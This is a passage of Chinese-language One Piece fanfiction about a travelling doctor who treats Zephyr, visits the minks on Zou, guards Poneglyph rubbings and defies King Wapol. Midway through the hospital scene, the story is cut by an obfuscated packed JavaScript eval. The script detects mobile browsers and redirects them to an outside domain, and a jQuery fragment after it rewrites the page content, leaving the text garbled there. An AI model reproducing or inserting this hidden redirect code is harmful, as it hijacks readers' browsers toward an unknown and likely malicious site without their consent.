“那是那个萝卜很好看啦!” 茵弗任由小赢家基德在自己的贴纸口袋里摸来摸去找恐龙图案的,回头看了一眼咬着苹果核的少年们。 “你们要吗?” 斑点帽无语:“谁会要那种东西啊。” 茵弗:“你小时候不是很喜欢来着?” 罗噎了一下:“我没有!” 基拉:“我要,但是我没赢不能挑吧。” 基德:“我给你挑,基拉!你要什么!霸王龙?” 罗的帽子上被拍了一颗紫色的爱心,茵弗又走到另外两人旁边,没有问他们俩的对决结果,只是敞开口袋,等他们拿走自己的贴纸。 甚平现在在监督他们训练,听说还教萨博一些鱼人空手道,他的大蓝朋友和路飞玩得也好。 所以有人带孩子,茵弗放心地抽出自己的手杖,敲敲地板让他们训练完了就耍去吧。他自己走到卧室旁边的衣橱里,锁好门后钻入镜子。 “叫葛尔丝的小姐?” “是妈妈曾经在艾尔巴夫时的朋友,当时听了你的话后,对拜访的兄弟姐妹们颇为照顾。” 茵弗慢悠悠地咬着吐司,后背靠在躺倒在地的男人身上。 “我晚点从镜子里去艾尔巴夫,您去吗?” “我不能去。” 他点点头,换了个话题,顺便在吃完手里的吐司后挖了一块卡塔库栗的甜甜圈吃。以前卡塔库栗好像不会允许他分甜甜圈的,不过现在他倒是不介意了。“糖分补脑子”大概是这么个理由吧。 “最近还发生什么?我听了一耳朵鱼人岛的八卦呢。居然有人渣想跟六岁小女孩订婚诶。” 卡塔库栗歪头想了想,他不怎么关注这些。不过还是大概聊了聊哪个弟弟妹妹要联姻,最近又收了什么势力。 “皮毛族啊...想见见。” “他在托特兰,不过为什么?” “因为想卡鲁秋~” 那是什么?面对他的疑问,茵弗凑到他大脑袋边搂着蹭了蹭。 “卡鲁秋~” 卡塔库栗仍然疑惑,不过看茵弗又把脸埋到他绕在脖子上的围巾里,准备睡觉的样子,也就随他去了,又拿起没吃完的甜甜圈咬着。 去艾尔巴夫不急的啦,和皮毛族贴贴最重要。下午茶吃完,茵弗眯了一会儿,然后精神饱满地等对方把叫贝克慕斯的狮子皮毛族叫来小麦岛。 戴着墨镜,穿粉色西装的狮子,有点奇怪即视感。不过他热情地打招呼,张开手臂。 “您好!卡鲁秋!” “诶?卡鲁秋嘎嗷!” 贝克慕斯很惊讶居然有知道皮毛族文化的人类。在对方说去过佐乌,与猫蝮蛇老大和犬岚公爵曾经一起在一条船上旅行过时顿时热情了起来。 “是佩德罗大哥很崇拜的罗杰海贼团吗嘎嗷?”贝克慕斯压低声音小心凑过来问道。 茵弗点点头:“我也和佩德罗先生聊过天,是个美洲豹孩子来着?不过我那时状态不太好,现在也不太记得了。” “大哥当时想加入嘎嗷,但是被拒绝了!” “后来呢?他有自己出海吗?” 说到这里狮子皮毛族推起眼镜,擦了一把豆豆眼流下的泪,讲述自己和结义大哥佩德罗和杰波是如何出海寻找历史正文,被政府定义为通缉犯后探险队不断受伤。两位大哥又是如何继续冒险,将诺克斯海贼团交给他。自己不久前带着船员想要返回象主,却意外到了BIGMOM领地。 茵弗挑眉:“杰波先生是北极熊吗?” 贝克慕斯:“正是,你也认识他吗嘎嗷!” 他摇头:“他弟弟贝波想追随哥哥的脚步,下象观察大海时和佐乌分散了,意外流落到我学生身边。他之前有给我讲过。” 贝克慕斯:“哦!多谢你们照顾我们族人了啊嘎嗷!” 茵弗张开手臂:“不客气,卡鲁秋~” 贝克慕斯:“卡鲁秋嘎嗷!” 贝克慕斯没有杰波的生命卡,不过有指向佐乌的,茵弗询问能否分他一点,他想久违地拜访猫蝮蛇和犬岚,对方欣然同意。他也答应替他向故乡问好,传达他们还好的消息。 亲昵地贴一会儿,捏捏狮子手掌上的肉垫后二人便依依不舍地道别了。茵弗将手里小小的一角生命卡收到怀里,抬头就看到一直靠在墙壁另一侧的卡塔库栗对着他慢慢张开手臂。 “卡鲁秋。” “卡鲁秋!” 他笑眯眯地跑过去,扑到对方怀里,在毛绒绒的围巾上又蹭了两把。 “您学会了嘛,嘻嘻。” 苋红色头发的高大男人眼睛弯弯,一只手轻轻捏起他的马尾玩着,半晌后询问他要不要新的发绳。 “哦,好呀,上次的丢了呢。” “又丢了?” “丢在''上面''了。” 茵弗抬手摸摸他的手腕,取下一个带着圆型金属环的手饰,拆下自己的发圈后换了上去。 - “这样方便您常来看我,先生,这个镜子是单行道,只连通波比。” “...吓我一跳,小狐狸,怎么突然跑过来。话说见面第一句话不应该是问好吗?” - 本来打算离开七水之都后回奥比塔拉接上贝波他们就去佐乌的。毕竟那小熊一直努力学习航海术,也有想回故乡看看的期望。但是有时候这世界是就那么的戏剧性,在七水之都短暂地被世界政府“征用”的伊甸鲸改造完成时,他接到了来自奥比塔拉的电话虫——1号伊甸鲸被破坏了。 “伤亡如何?” 茵弗玛利脚步匆匆,没有时间多和招待了他们几个月的汤姆工作室道别,迅速安排出航。 “已经安排了滞留鲸去接应,达米安少将也去了,你赶回来应该时间正好差不多。别紧张,茵弗,没有那么严重。” 听到露玖安抚性的语气他还是下意识放松了些,深呼吸后听她细数损失——船废了,除了受到的攻击外,用了大量会对船体损伤的应急武器。但是人员伤亡并不严重,上面都是优秀的战士和医生,一边转移,相互接应着撑下来了。 没关系,珍贵的本来就并不是船本身,即使它是亚当木。在能破坏它的攻击下,能撑下来他就已经很满足了。 幸好有泽法在。 1号是前不久泽法又一次带预备SWORD实战训练时,他抄给他路线的伊甸鲸,在收到专属紫色电话虫的求助信号时前去接应。结实的巨大船只抵挡了大量攻击的同时回击。海上的医院变成战场,而泽法的战船则成了医生和伤员们的安全区。 “威布尔...?新兵们怎么样?” 只能说还好现在为了发展SWORD,泽法带的兵都是人少且精的高强度训练队伍。伤亡不可避免,但是比茵弗担忧的情况要好的太多。希望那位可敬的海军先生不要过于悲痛,他的幼苗经历了霜雪,几片嫩叶凋零,但是还能活下来就好,春天就快来了。 海军要【守护】,伊甸鲸也在【守护】。配合之下救下大部分的人,即使没能干掉那个突然冒出来的海贼也没关系。 “泽法先生伤得重吗?” “右臂创伤严重,最好你能回来看一下有没有办法——霍古巴克根据传回来结果的判断。” “好,我尽快,我还要那个海贼的信息。” “珊米在办了。” 没有第一时间看情报,即使它只有薄薄的一页纸。风尘仆仆的茵弗玛利直接去了大医院,去住院区时碰到捧着花的塞尔尼奥。 “游医大人。” “塞尔尼奥先生,您怎么在奥比塔拉?” “我的儿子吉姆列特...突发高烧,北海分部在急救后勉强保住性命,我得知此事后将他们母子二人带到本部。” “原来如此,现在状况如何?” “...植物人,露西安在陪着他,只是她生我的气,我去给他们送一束花。” “好的,我晚点去看一下吧,请探望后来找我,叫上罗先生。” “十分感谢!” 一路走下来有很多需要他亲自看一下的病人啊。真是久违了这种感觉。但是他是个偏心的人,所以首先,泽法。 紫发的强壮海军右臂上裹着厚厚的纱布,正在和病房里其他几人交流。他不愿意因为身份就住在单人间,和他的学生及队员住在一起。艾蒽、宾兹、还有养子德雷克。 咚咚、 “打扰了。” “啊,茵弗。” “好久不见,泽法先生,看到您精神不错我就放心了。” 他和房间内其他没见过的几人也打了招呼,都是很年轻的少年少女。表明来意后,泽法拜托他先看一下自己手下孩子们的伤,他没有关系。茵弗遵循了他的请求,即使他知道最严重的还是这位值得敬爱的老师。 “没什么大问题,遵循医嘱就好了。宾兹先生和艾蒽小姐能力当时透支得厉害吧,我会再开一份养精神的药,您们还年轻。” 写了份便签贴在二人床尾的病历上,下次医生来检查的时候会安排的。他走到泽法身边,拉过椅子坐下。 “抱歉我没能保护好你的船。” “您已经保护下最珍贵的东西了,是我该感谢您。” 泽法脸上有愧疚的神色,大概是觉得把伊甸鲸拖下水了吧。但是这还是自从他们设立这个“安全网”后,他第一次主动发出求助。之前就算有无法处理的受伤情况,也是在战斗后去找伊甸鲸汇合的。当时大概十分危险吧,他一个人无法保护所有人的同时去战斗。 如此强大的对手,珊米能找到的情报却只有堪堪写了几行的一页纸? “我很高兴能帮上您,先生,这也不是第一次伊甸鲸主动协助战斗,上面的人也都知道这片海意味着什么。” 屋里的其他年轻人听他这么说都既感动又后怕,要不是当时伊甸鲸及时赶到,他们大概会全军覆没吧。 “您手下的医生们真是厉害啊...亚历克肠子都掉出来了,那个驼背老先生居然嗖嗖嗖地就把他缝好,打了一针什么东西就活下来了。” 茵弗笑笑:“快速急救手术可是出海培训时必须学会的一项,而且您说的那位出身磁鼓岛,医术高得很。” 闲聊间,泽法也放松下来,配合茵弗伸出左手让他握着,右臂上的纱布被轻轻试探了几下。 “哇...真的好严重,您胳膊在哭呢。角度再偏几分一定会整个被撕掉。我再怎么是个医生也没法让断臂再生。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068544|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难怪霍古巴克他们都没什么办法。不过还好,他有个好学生是手术果实能力者,修复起来很方便,也会比他自己来要更高效。 “您得做几次手术,然后康复训练和后面要用的药可能会让您恢复期有点辛苦,但是想不留下太多后遗症的话,只能如此了。” 泽法感激点头。他本来的预估是即使保下来,右臂也会基本废掉的,如果只是留下一点影响活动的后遗症已经是奇迹。 “您领导SWORD感觉如何?” “...可以坚持我并不被上面看好的正义,也能切实地做点什么的感觉很好。” 同僚们、学生们,还有面前这个年轻人给自己的支持让他灵魂涌出源源不断的暖意,他可以不用继续躲避''大海的指引''。不必继续忍耐苦楚,那种憋闷的紧绷感如弹簧松弛一般放松。 虽然在米尼翁岛海军没拿到传说中的手术果实,不过上天将德雷克带到他的身边。他和自己记忆里那个小小的,笑着戴上对他来说大太多的海军帽,说要成为保护大家的海军孩子那么得像,让他看到生命会以某种方式延续。 茵弗瞟了一眼旁边床上脸红红蒙住被子的橘发少年。有点破坏气氛地说:“啊,海军也想要手术果实吗?可是已经被我学生吃掉了。” 德雷克惊讶地探出头,交易的那天,在海军来之前就发生了战斗,他躲起来了没太注意。难道是这个人...?可是不是地下势力夺走了果实吗? 茵弗取过夹板翻了空白一页,开始在里面记录泽法的后续疗程,对同样惊讶的紫发男人说: “您也知道我和黑曼巴合作嘛,仓储的基伯森死了之后,多弗朗明哥先生在他那找到不少恶魔果实,我要了几颗给家里小孩。手术果实不是很适合医生吗?就给我学生了。” 原来如此。屋里的众人点点头,听信了茵弗编的瞎话,算是把手术果实的事情圆过去,以后罗出海能更顺利点。 “您为什么不吃?” 他目光再次扫过德雷克,是个敏感的孩子啊。很好,SWORD就需要这样的人。 “因为听说它很难吃,我不要折磨我的味蕾。” “就因为这个?” “当然了,而且比起我这个家伙,新生代的成长才更重要一点吧。” 泽法有些感慨,虽然在自己眼里茵弗玛利也是年轻的小树,但是他这样的想法倒是和他,甚至是卡普都不谋而合,对这个晚辈的亲切感更甚。既然对方不知道政府想要果实,只是照看自己的学生而已,他便开口道: “其实也不是海军需要手术果实,是政府安排的。所以他们知道了你学生吃了的话,可能会派人接触。” 茵弗有些惊讶地抬眼看他,这是在提醒他注意罗的安全吗?当了SWORD就是不一样啊,而且不愧是老师。 “好的,谢谢您。” 将写好的疗程安排同样挂在泽法床尾的病历板旁边,贴上标签。他取过之前放在一边的情报纸来看,边读边和这些当事人聊袭击他们的海贼。 “是突然冒出来的家伙啊,之前的影子都找不到。破坏了两个镇子,然后就是这次的事情。” “他身边跟着个女人,被他叫做''老妈'',一直指挥他。”艾蒽嘀咕着那个老太婆是多么的讨厌,“''你可是继承你父亲力量的男人,威布尔,快砍断这艘船!''” 父亲? 茵弗看着模糊照片上的巨大身影。乱糟糟的头发...细细长长的...月牙胡子。 不会吧... 他得给白鲸打个电话虫。 “喂...菠萝先生...您老爹的妻儿是流落在外吗?” “?我们是老爹的儿子啊yoi,妻子又是哪里来的...” 无语的不死鸟放下手中的笔,揉了一把眼镜下的鼻梁。这家伙难得打电话虫来还不是打给萨奇,结果是跑来和他聊老爹的八卦吗?又是''晕乎乎''的状态?这种压低声音小孩子讲秘密一样的语气估计就是吧。 “不是啊...他是不是本就孤儿出身...年轻的时候又丢了妻儿,所以才建了个大家庭...好悲伤的故事...” 马尔科在等他念叨完和打断他开始越编越离谱的故事之间犹豫一会儿,在对方说出什么现在终于可以团圆,您们家庭会变得更大之类的东西的时候还是开口: “所以说没有那些东西吧yoi。” “啊...?我不信。” 到底他是老爹的儿子还是那个远在天边的家伙是啊,什么''我不信''... “您去问问...拿着电话虫,我也要听。” 算了,马尔科叹了口气,起身活动一下久坐后僵硬的身体,端起电话虫去找老爹。 “您就问...爱德华·威布尔这名字是他起的还是他妻子起的,他儿子和他一样有月牙胡是什么心情。” ? 不死鸟半信半疑地加快脚步。 白胡子海贼团的海贼们喜欢财宝,喜欢酒水,喜欢家人,这些是大家都知道的事情。不过外界可能不知道的就是,他们也喜欢八卦。 打扫甲板的,训练的,闲着没事的,还有特意听说后丢下工作跑来的,现在全都找各种借口围在白胡子椅子附近竖起耳朵。 “所以老子说没有!不认识!” “啊...难不成是情人然后有了私生子...” 天啊这太刺激了,老爹诶。比斯塔激动地用手肘戳戳身旁的以藏,漂亮的武士半个折扇挡在面前,扇动的频率有点高,暴露他同样激动的心。 “别狡辩了!纽盖特先生!不是您说这片海没有什么是绝对的吗,金发月牙胡世界上没有别的这样的爱德华!” 哦哦哦哦小医生提高语气的致命一击!哐地一声是在那边拍桌子了吗?气势很好! 萨奇都要鼓掌了,怕老爹揍他只是啪啪拍着乔兹,不愧是老师! 白胡子的丛云切也在甲板上敲得哐哐作响,坚决否认关系,酒都不喝了。 “报纸都发了,我的伊甸鲸被砍了!全世界都知道了!就是您亲生儿子干的,赔钱!” “那小子干的事情凭什么要老子赔!不对,老子不认识!” “您看您承认了吧!十亿贝利谢谢惠顾!” “......马尔科!转舵!老子倒要看看到底是什么人私自用我白胡子的名号!” 实质的空气震动滚过甲板,众人为了改变航线行动起来,马尔科对老爹这么一下所展示出的健康强壮感到满意,吩咐基尔去找关于威布尔的情报,派人发出消息。 比斯塔捻着胡子,看着还在和电话虫一边吵架一边收集信息的老爹,又怼怼萨奇。 “小医生不会真让我们赔十亿吧,老爹可是请客的酒钱都拿不出来啊。” 萨奇爽朗地大笑:“不会的,本来那什么威布尔的就跟老爹没什么关系嘛。” 老爹要去处理威布尔,也不是为了逃避十亿贝利吧。 78.一二三四 “没问题,露西安夫人,他的声音在浮上水面了,请继续坚持每天和他聊天。” 茵弗在给小小的吉姆列特用小小的针做针灸。 罗说神经调控治疗的效果一般,孩子年龄小,总做脑刺激和脊髓刺激也不好。所以他还是打算针灸配合慢性药物,估计按听到的回馈来看还得配上高压氧舱。 抹着泪的短发女人点头,再次感谢给她的孩子带来奇迹的医生。 “露西安...以后我会多回来陪你们。”塞尔尼奥搓着手掌,轻轻地试着把手搭在爱人身上,“我知道你对我隐瞒在黑曼巴工作生气,我只是担心...” 她打断了他:“你不该骗我,塞尔尼奥。你如果早点跟我说实话我可能还不会这么生气,我只是希望我们需要你时我能找到你。” 她不在乎什么黑曼巴,只是在给银行打电话的时候听说没有这个员工,而身旁仍然在医院里昏迷不醒的孩子,突然离开不知所踪,不知何时会回来的丈夫,都让她感到无比绝望。如果吉姆列特没能被抢救回来呢? 茵弗听着他们的对话,在最后收回器具时叹了口气。塞尔尼奥是不会脱离黑曼巴的,他是核心成员之一,他自己的意愿不提,多弗朗明哥也不会放他走。 西装男人犹豫后询问道:“游医大人,等吉姆列特康复,他们母子能继续住在堂吉诃德宅邸吗?露西安并不想和我去德雷斯罗萨。” 茵弗自然是同意了,本来主屋区的房子就是给他们住的嘛。不打算打扰他们夫妻慢慢试着修补这份关系,他再次摸了摸吉姆列特脸上继承他母亲的小雀斑,真心祝愿他能像另一个长着雀斑的温暖小子一样好好长大。 不过温暖得是不是太过火了一点。 燃烧起来的艾斯呲哇乱叫着,火焰被着急忙慌冒出来的黑雾吞噬掉。 茵弗脚步顿在门口,退出门外后再次开门。 果然是幻觉,艾斯和萨博都好好的嘛。不过看他们见到他后乖乖跪下准备好顶水桶的姿势,大概还是放心太早。 他看向雷利,一脸无奈的副船长先生靠在吧台上喝了口酒,酒瓶指指他们说一屋子秤砣。 “可是我还没选好,也还没管火烈鸟先生要?” “他们等不及了,自己去你工作室里摸的,大概是之前剩下来的吧。” 好哇!都敢摸到他工作室里去了? 现在养了一窝,就基拉一个人不是能力者?他捏捏鼻梁,回忆自己还剩下什么,结合之前看到的,大概就是白胡子那次没送出去的暗暗果实,还有上次基德在三颗里选完后剩下的烧烧果实。 “基拉,去给他俩装两个水桶,要大的。” 两人都没选剩下的那两颗动物系是某种默契?都不知道是啥就往嘴里塞啊。他走到俩小子面前蹲下,一人狠狠弹了个脑瓜崩。 “惯的你们是吧?自然系能力很强也不准给我把霸气修炼放下记住没有?你们也到年龄了。” 要是觉得自己可以元素化不会受伤可就完蛋了。武装色就是打这种天真的小伙子的。哦,暗暗果实还不能元素化。太依赖果实不是好事情,还好他们跟着雷利一直学,底子都好,有严苛的老雷老师看着大概不会有什么问题。 不理他们表示自己很不满意,他走向图书室。巴基的通缉令又换新了,漂亮捏,去裱起来。罗跟在他后面,咔哒咔哒地玩着他不知道哪弄来的秒表。这种喜欢手里玩点什么的习惯也是跟他学的吗? 咔哒咔哒。 大概吧,茵弗扣上手中的金属打火机。 图书室里罗宾已经在了,很贴心地把装裱用的用具相框都已经帮他在茶几上放好。茵弗再次欣赏了一下手里一堆零的通缉令,轻轻铺到框底。 “佐乌你跟我去吧,小知更鸟。” “为什么?” “今年还没想好送你什么生日礼物,所以带你去看历史正文。” 黑发大姑娘愣了一下,下一秒就开心地点头。她还没正式出海,能亲眼看到历史正文石碑的机会不多。毕竟茵弗不太在意研究历史,在旅行中没有特意去找过。 所以在他用一张巨大的千年纸拓印下来那块红色的石碑时,她是惊讶的。 “一般其实是白色的,但是这块比较特殊。至于原因嘛,你做为历史学家以后冒险中慢慢发觉吧。” 茵弗将印好的历史正文收好,没有打扰研读历史的学者女孩。佐乌还是老样子,巨大的,痛苦的象主,不过他戴了手套,虽然有点影响他跟老朋友亲呢。 犬岚和猫蝮蛇都长得超大只的。一个人统领白天,一个人统领黑夜。不过他来了之后在黄昏交织的时刻一起开了宴会。重逢、喝酒。 贝波回到故乡也是十分开心,虽然他离开象主时很小,记忆都有些模糊,但是本能的亲切感让这个可爱的小熊像个幸福的大白团子一样。 “主公那边也安好我们就放心了,当年的事情真是多谢。只是公国不能无人领导,我们也不能一直陪在大人身边。” “嗯,上次去看反正还行,您们不在我还挺意外的,听御田阁下说把您们赶回来了还以为发生什么。” 茵弗穿了黑色的和服,和一猫一狗打扮风格相像,看猫蝮蛇摸出长杆烟斗来抽也拿出自己的烟斗,在他新奇的视线里吹了个泡泡。 胖胖的长毛猫大笑,亲昵地把老友搂在自己的腹带上。茵弗一直很喜欢猫蝮蛇的笑容,从小就喜欢,所以经常弄木天蓼送给他换卡鲁秋。这次也是,带了好大一根用绳子缠起。 “贝克慕斯那孩子也有精神就好。” “嗯,虽然在BIGMOM麾下,有些风险吧。” 狮子皮毛族没有他大哥们的生命卡,猫蝮蛇和犬岚是有的。反正来都来了,干脆带着贝波去见见他哥哥好了。犬岚他们拜托他让转告二人不必执着,注意安全,如有危险早日回来。 “罗杰船长被处刑的报纸,让他打击很大呢。” “当时你也突然一声不吭地走了,我们都颇为担心。平安无事就好。” 茵弗点点头,感谢他们的关心。 “如果皮毛族有任何需要,随时联系我,茵弗玛利永远是您们的朋友。” 犬岚也拉过他卡鲁秋,用鼻子贴贴他的脸。 “当然了,老朋友,你也是。” 交换生命卡,留下即使有基站也不一定能连得上的电话虫,大蜗牛再次缓缓爬下象腿。知道贝波不会留在故乡,以后还是跟着他出海,罗悄悄松了口气。 他和罗宾交流着历史正文,二人童年便是好友,毕竟乌泱泱的小孩子里读书派的真的不多。他们像小时候一样在波比的图书室里吃零食看书聊天。 “你知道''D的意志''吗,暗黑当家的。” “D...萨乌罗和三叶草博士的名字里也都有D。” 茵弗坐在一旁听了一耳朵,结合着罗宾已知的历史,两个聪明鬼的结论就是历史真相和D大概脱不了联系。 “诺克斯探险队因为寻找历史正文而全员被世界政府通缉,定义为海贼。”他握着书补充道,“''神的天敌''、历史正文、古代兵器的''古代'',他们想藏住的东西大概都有联系,多看看他们话语权里所否定的东西。” 他敲敲罗的斑点帽子,也不知道小时候就那么一点点的家伙怎么一下子窜高到一米九多。 “不过要是被发现您也找历史正文,大概就没法只旅行当游医了。” 罗勾勾嘴角:“那样的话我就副业当个海贼吧。” 罗宾犹豫了一下,还是询问他为什么在佐乌拓印历史正文。如果世界政府知道,他也一样不能只是旅行做游医了。 “我喜欢收集奇怪的东西嘛,这种稀有又有趣的东西不是正好?我又看不懂。” 罗宾:“你真的看不懂吗?” 茵弗瞅瞅她:“当然了吧,我笔记里那些就是御田阁下当年教的,我没弄明白过。” 两个聪明的、被他这个满嘴瞎话的人养大的家伙同时眯起眼,投来狐疑的眼神。 “你要是想教我我也不介意啦,我就记住几个词大概是怎么写的。” 久违地再学学古代文字? 不过佩德罗嘛,实在不行就早点回去吧。就两个皮毛族在新世界晃荡,还找历史正文,也太危险了吧,至少多带些人手啊。 “您居然还记得我,佩德罗先生。” “当年你一直在罗杰船长身上睡觉来着,我们聊天的时候都没醒。” 茵弗挠挠脑袋,难怪印象深刻。 房间另一侧的杰波和贝波重逢也是颇为感人。两个白乎乎的大团子拥抱着嗷嗷哭。杰波长得有点“强行男人味”的感觉,还戴墨镜哩,不知道贝波长大是什么样子。 “贝克慕斯被BIG MOM收入麾下了啊,本以为他们会安全回到象岛的。” “是,他也挂念您们呢。” 佩德罗寻找历史正文,除了普通的白色石碑外,其实想找的还是和佐乌那块一样红色的。在茵弗提到BIGMOM后犹豫吐露打听到消息好像她手里有一块,所以他和杰波准备去偷。 “被抓住就完蛋了哦。” “我们会小心。” 茵弗眯着眼睛看他,他们真的有意识到BIGMOM到底是什么样的怪物吗?还有她手下的那群大大小小的怪物? “我不觉得这是个好主意,猫蝮蛇和犬岚阁下托我转告您们以自身安全为主。” “世界的黎明快要到来了,一定和历史正文有关,我希望老大、佐乌都能看到那一天。” 是罗杰跟他说了什么? 茵弗叹了口气,示意他跟自己来,展开见闻色确保没人,特别是罗宾别又偷听偷看。他走到自己的卧室,从书柜夹缝里抽出一个暗格,将一份折起来的千年纸取出,丢在美洲豹的面前。 “别去BIGMOM那里,如果被抓,您们二位将很难再走出托特兰。” 佩德罗震惊地跪在地上,将巨大的千年纸展开,确实是一份拓印的历史正文。 “你...这是BIG MOM的?” “啊,是当年罗杰海贼团拓走的那份。” 是他和御田,坐在船舱里一点点学习的那份;是他鬼使神差偷走的那份。不过罗杰大概也知道,毕竟他看着他收拾行李来着。自己当时出于什么心理,他也不太记得了。 只是后来不管是船翻了还是遭难了,不管海水要卷走多少他从小到大的收藏品,小偷恶棍试图抢走他多少东西。他都一直把它卷在自己的毯子里,好好地保护着。 “...所以,您要是真的想看,我这里有。”他转过身,又咔哒咔哒地打开不同的暗格。 一、二、三。 四份路标历史正文,最终之岛的坐标,被无所谓地丢在佩德罗眼前。罗宾以为他在佐乌拿到的是第一块,其实是最后一块。 茵弗靠着书柜站着,脸上没什么表情,看佩德罗脸上浮起震惊又纠结的神色。 美洲豹青年用有些颤抖的手将它们叠好放在面前,盯着它们缓缓说道:“罗杰船长说,''每个人都会有自己出场的时机'',所以你才...不去吗?明明是被他认可的人...” 高大的船长,怀里睡着个皱眉的小孩,佩德罗指指他,不满为什么他能上船,询问自己和他差在哪里。船长帽子上带羽毛的男人笑着说,''他啊——'' 昏暗的油灯下,高大的船长双手扶在他肩上,弯下身子直视那小孩迷茫的眼睛,胡子翘起:“小黑啊——” 茵弗闭了闭眼,没有回答他的问题。 “...这是您的时机吗?是猫蝮蛇阁下的?是佐乌的?” 佩德罗没有回答。 茵弗将四份坐标再次收起,语气平淡:“看完了就行,我也不打算给您。反正您别想着两个人就能溜进BIGMOM那偷她的东西,罗杰先生当年都是险之又险的,您偷我的都比偷她的合算,至少我不会把您们寿命抽走当点心吃。” 他不会眼睁睁地看着猫蝮蛇他们拜托他关照的后辈和贝波的哥哥因为判断失误去死是一码事,要不要交出去是另一码事。 即使是香克斯或者巴基来找他要,他也不会给的。“要坐自己的船去。”这是他们在交叉口许下的约定。大概也是雷利一遍遍询问他“你想知 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世界会议后,不知道那群人有关“奇迹游医”的话题又讨论了什么,不过铁桶王国的国王瓦波尔在磁鼓岛实行了医生20计划,试图学着他的样子掌握医疗资源来赚钱。除了被他召到皇宫里的20位,全国的医生都被驱逐,所以库蕾哈带着他们全都到了奥比塔拉来找他。希鲁鲁克仍然想让磁鼓岛开满樱花,没有跟着来。 “老娘就说那小子比他爹还爬虫。”库蕾哈喝了口口感醇厚的好酒,满意点头。不过她不打算留在这儿,现在闹这么一出,岛上除了医生20可是就只剩下那个庸医了。 “那我能怎么办,不是您教我的''医生又不是神''?”茵弗揉了揉鼻梁,“算了,我跟您回去看看希鲁鲁克。” 虽然约定是他下次回去要看樱花,不过他觉得他去帮他一把,让他弄快点也不算作弊。 茵弗载着大量想要回去的医生,带着滞留鲸驶向自己久违的冬岛,坐在波比最高处的露台远眺,在第一片象征着气候转换的雪花落在鼻尖时打了个喷嚏。 真是太冷了。 一捧温暖被递到身边,已经在长个子的少年脸上的雀斑被映得红红的,问他要不要烤火。茵弗叹了口气,揉揉和罗杰一模一样的黑发。 “好啊,烤火。” 艾斯突然被捧住脸颊,吃完烧烧果实他的体温本就比常人偏高,冰凉的手激得他抖了一下。怕烧到对方,他撤掉了手上的火,握住脸颊两侧同样冰冷的手腕。 金发男人很认真地看着他,经常笑着眯起的眼睛里柔软的金色好像要溢出来。鼻尖上是属于他的味道——苦涩的药、潮湿的海。他的雀斑被一只拇指点过。 一、二、三、四。 茵弗凝视着他,透过他窥视一团火焰。 D吗...?如果那些人这么看重D,而且雷利说他有霸王色的王者资质,等他出海,一定会被调查。露玖的的孕期延长的事情只有自己知道,接生也是他来做的。DNA报告只要没人重新核验他或者艾斯的就没问题...当时父亲一栏填的未知还是有点草率了,只是确实不止露玖是单亲怀孕妈妈,''不知道''孩子爸爸是谁的那种,他也就没太考虑... “...见过樱花吗,艾斯?” “见过的啊,奥比塔拉就有。” “...这样啊。” 算了。走一步看一步吧。 医生们不能回到近在咫尺的家乡,但是他们现在属于伊甸,而伊甸鲸会滞留在磁鼓岛的港口,钻漏子,这种事情他最擅长。 老样子,上岛就被请到王宫。他对这个国王没印象,毕竟自己走时他才出生没几年。一个比他父亲还像爬虫的小子,他大概明白库蕾哈的意思了。 “您拆了我已经在岛上挂名合作的医院,现在还想让我免费帮您垄断磁鼓岛的医疗资源?给您和医生20提供药品...拒绝伊甸鲸停靠...” 他歪歪脑袋,笑眯眯地说:“我尊敬的陛下啊...您是白痴吗?” 瓦波尔拍案而起,身旁怪模怪样的两个大臣也骂他大胆刁民,不知好歹这类的。茵弗不在意,有些好奇地打量唯一一个没什么反应的栗子头护卫长。 “我从小就听长辈说铁桶王国是个生病的国家,如今看来真的是病得不轻。”他看了看自己的指甲,语气淡然,“不过您说的对,我可以''垄断'',那么好吧。” 他一边观察众人的神色一边缓缓开口:“【茵弗玛利】的一切,将拒绝铁桶王国。” 被灰中拒绝的哥亚王国付出了惨重的代价,现在哥亚的王座早就换人来坐了。贵族们在得不到利益后的撕咬比真正的野兽还要血腥,早就站起来直视他们的民众更是掀起浪潮。 起码当时医院会对所有人开放,现在又会如何? 只有栗子头护卫震惊地放下抱在胸前的手臂,一脸懵的其余几人大概真的不明白这句话意味什么。在被''请''出王宫时,缆车上身旁的栗子头开口:“你...说的是真的吗?” 多尔顿不认可瓦波尔的残暴统治,老国王也不看好这个被宠坏的王子,但也只能让他继承王位。他本来以为“带来奇迹的游医”会...带来奇迹。可是对方虽然没同意给医生20提供帮助,但也接受了禁止居民们向伊甸求助的条件。更不要说现在大家都在用的药品,贸易买来的食品和用具,奇迹游医的决定如果传出去也许会影响和别的地区的商贸,国家的外交...这会让国民们陷入苦难。 茵弗哼笑一声:“有的笨蛋是无可救药的,先生。” 他端详着这个也许仍对瓦波尔抱有一丝希望的人,放慢语气地说道:“我拒绝的是''铁桶王国'',所以即使伊甸鲸仍然会停留在港口,''铁桶王国''的居民们也不能求助。” 隔着短短距离遥遥相望的人们,大概都会被现实上一课吧。 “如果您们就像他驱逐医生时一样逆来顺受地忍受命运,那么大概我的诊断只会由''病得不轻''变成''无药可救''。” 瞥了眼身旁的人紧攥的拳头,茵弗觉得也许他可以给龙打个电话虫。 79.偷他走吧 希鲁鲁克家还是老地方。他大概知道自己来了,毕竟港口那么大动静,库蕾哈也会跟他说。他没来接他,也是很典型的希鲁鲁克。 茵弗敲了敲门,抬眼看向早就不再是记忆里那么高大的古怪发型男人。还没开口,就被拥抱住,对方身上有糊糊的味道。他们静静地在门口呆了一会儿,希鲁鲁克在他哼唧一声冷之后手忙脚乱地把他领进门。 门关上的那一刻他就顿住了。他的小床的确还在,他也再也睡不下,不过现在上面坐着一个看起来很紧张的小驯鹿。但让他愣住的不是这个蓝鼻子小家伙,而是那侧的墙壁上贴着满满的报纸。走进几步,果不其然——【奇迹游医茵弗玛利】 啊啊,茵弗捏了捏眼角,看来自己大概有让他骄傲啊。 